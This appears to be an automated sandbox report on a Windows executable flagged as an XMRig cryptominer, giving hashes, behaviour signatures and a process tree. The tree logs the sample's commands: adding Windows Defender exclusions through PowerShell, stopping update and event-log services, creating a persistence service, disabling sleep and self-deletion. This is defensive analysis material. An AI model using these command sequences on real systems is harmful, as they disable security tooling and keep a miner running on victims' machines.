Analysis

  • max time kernel
    119s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20-12-2024 02:14

General

  • Target

    14f82f5920a6f8c784472659bb34debafc54967e9c329df5c21a3d64a7b6811cN.exe

  • Size

    5.6MB

  • MD5

    fe9f8353e64e335a3b4b42feffb58980

  • SHA1

    69fe365e83653d175d293d52dd56672618061696

  • SHA256

    14f82f5920a6f8c784472659bb34debafc54967e9c329df5c21a3d64a7b6811c

  • SHA512

    e9f12a4316047f43a6a6fc8831dea90149e1b3f026f96358a45c4da91cd0ab93945c550fc4a4cd6b11c54735a6ccd81f082e1ab80f832f9ab470ef7878a06bfb

  • SSDEEP

    98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/Hn:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgj

Malware Config

Signatures

  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Stops running service(s) 4 TTPs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 13 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\14f82f5920a6f8c784472659bb34debafc54967e9c329df5c21a3d64a7b6811cN.exe
    "C:\Users\Admin\AppData\Local\Temp\14f82f5920a6f8c784472659bb34debafc54967e9c329df5c21a3d64a7b6811cN.exe"
    1⤵
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:2364
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1944
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1868
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
        • Drops file in Windows directory
        PID:2904
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      2⤵
      • Launches sc.exe
      PID:832
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      2⤵
      • Launches sc.exe
      PID:2900
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      2⤵
      • Launches sc.exe
      PID:2776
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      2⤵
      • Launches sc.exe
      PID:2880
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      2⤵
      • Launches sc.exe
      PID:2736
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:2640
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:2464
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:2756
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:2816
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "JVNIRHNX"
      2⤵
      • Launches sc.exe
      PID:2924
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"
      2⤵
      • Launches sc.exe
      PID:320
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop eventlog
      2⤵
      • Launches sc.exe
      PID:2168
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe start "JVNIRHNX"
      2⤵
      • Launches sc.exe
      PID:1932
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\14f82f5920a6f8c784472659bb34debafc54967e9c329df5c21a3d64a7b6811cN.exe"
      2⤵
      • Deletes itself
      • Suspicious use of WriteProcessMemory
      PID:2036
      • C:\Windows\system32\choice.exe
        choice /C Y /N /D Y /T 3
        3⤵
          PID:2812
    • C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe
      C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe
      1⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2828
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1960
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1716
        • C:\Windows\system32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          3⤵
          • Drops file in Windows directory
          PID:2848
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop UsoSvc
        2⤵
        • Launches sc.exe
        PID:2520
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        2⤵
        • Launches sc.exe
        PID:2796
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop wuauserv
        2⤵
        • Launches sc.exe
        PID:1908
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop bits
        2⤵
        • Launches sc.exe
        PID:1820
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop dosvc
        2⤵
        • Launches sc.exe
        PID:2972
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:2720
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:2832
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:1588
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:2440
      • C:\Windows\system32\conhost.exe
        C:\Windows\system32\conhost.exe
        2⤵
          PID:2288
        • C:\Windows\system32\nslookup.exe
          nslookup.exe
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2968

      Network

      MITRE ATT&CK Enterprise v15

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      Downloads

      • \ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe

        Filesize

        5.6MB

        MD5

        fe9f8353e64e335a3b4b42feffb58980

        SHA1

        69fe365e83653d175d293d52dd56672618061696

        SHA256

        14f82f5920a6f8c784472659bb34debafc54967e9c329df5c21a3d64a7b6811c

        SHA512

        e9f12a4316047f43a6a6fc8831dea90149e1b3f026f96358a45c4da91cd0ab93945c550fc4a4cd6b11c54735a6ccd81f082e1ab80f832f9ab470ef7878a06bfb

      • memory/1944-4-0x000007FEF55DE000-0x000007FEF55DF000-memory.dmp

        Filesize

        4KB

      • memory/1944-7-0x000007FEF5320000-0x000007FEF5CBD000-memory.dmp

        Filesize

        9.6MB

      • memory/1944-6-0x0000000001EB0000-0x0000000001EB8000-memory.dmp

        Filesize

        32KB

      • memory/1944-5-0x000000001B4E0000-0x000000001B7C2000-memory.dmp

        Filesize

        2.9MB

      • memory/1944-9-0x000007FEF5320000-0x000007FEF5CBD000-memory.dmp

        Filesize

        9.6MB

      • memory/1944-10-0x000007FEF5320000-0x000007FEF5CBD000-memory.dmp

        Filesize

        9.6MB

      • memory/1944-8-0x000007FEF5320000-0x000007FEF5CBD000-memory.dmp

        Filesize

        9.6MB

      • memory/1944-11-0x000007FEF5320000-0x000007FEF5CBD000-memory.dmp

        Filesize

        9.6MB

      • memory/1944-12-0x000007FEF5320000-0x000007FEF5CBD000-memory.dmp

        Filesize

        9.6MB

      • memory/1960-17-0x0000000019F20000-0x000000001A202000-memory.dmp

        Filesize

        2.9MB

      • memory/1960-18-0x0000000000990000-0x0000000000998000-memory.dmp

        Filesize

        32KB

      • memory/2288-19-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/2288-24-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/2288-21-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/2288-20-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/2288-22-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/2288-26-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/2968-34-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2968-36-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2968-35-0x00000000000B0000-0x00000000000D0000-memory.dmp

        Filesize

        128KB

      • memory/2968-28-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2968-33-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2968-32-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2968-31-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2968-30-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2968-29-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2968-37-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2968-40-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2968-39-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2968-38-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2968-42-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB